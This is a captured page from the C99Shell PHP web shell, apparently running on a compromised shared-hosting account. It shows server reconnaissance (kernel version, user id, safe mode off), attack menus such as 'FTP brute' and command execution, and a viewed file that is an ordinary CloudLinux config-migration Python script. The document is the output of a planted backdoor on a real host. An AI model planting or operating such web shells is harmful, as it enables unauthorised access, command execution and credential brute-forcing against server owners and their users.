!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/cloudlinux/venv/lib/python3.11/site-packages/clwpos/migrations/   drwxr-xr-x
Free 293.73 GB of 429.69 GB (68.36%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     configs.py (1.94 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import logging
import os
import shutil

from clwpos.logsetup import setup_logging
from clcommon.cpapi import cpusers
from clwpos.utils import get_pw

from clwpos.feature_suites import (
    get_suites_allowed_path,
    get_admin_config_permissions
)
from clcommon.clcagefs import CAGEFS_MP_FILENAME, remove_mount_dir_cagefs

_logger = setup_logging(
    caller_name='configs_migration',
    file_level=logging.INFO,
    logfile_path='/var/log/clwpos/configs_migration.log',
)

def _copy_with_perms(source, target, gid):
    shutil.copy2(source, target)
    owner, group, mode = get_admin_config_permissions(gid)
    for item in os.listdir(target):
        full_path = os.path.join(target, item)
        os.chown(full_path, owner, group)
        os.chmod(full_path, mode)

def migrate_configs():
    """
    Migrate configs stored on CloudLinux Solo Edition: /var/clwpos/solo
    """
    migrate_solo_edition_config()

def _transfer_config_files(files_to_be_moved):
    if not files_to_be_moved:
        _logger.info('Nothing to do, no configs in directory')
        return

    for username in cpusers():
        pw_info = get_pw(username=username)
        uid, gid = pw_info.pw_uid, pw_info.pw_gid
        path = os.path.dirname(get_suites_allowed_path(uid))
        if not os.path.exists(path):
            os.makedirs(path, 0o755, exist_ok=False)

        for item in files_to_be_moved:
            _copy_with_perms(item, path, gid)

def migrate_solo_edition_config():
    solo_dir = '/var/clwpos/solo'
    files_to_be_moved = []

    if os.path.exists(solo_dir):
        files_to_be_moved = [os.path.join(solo_dir, item) for item in os.listdir(solo_dir)]

    _transfer_config_files(files_to_be_moved)

    if os.path.exists(CAGEFS_MP_FILENAME):
        remove_mount_dir_cagefs('!/var/clwpos/solo',
                                remount_cagefs=True,
                                remount_in_background=True)

    if os.path.exists(solo_dir):
        shutil.rmtree(solo_dir)

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0851 ]--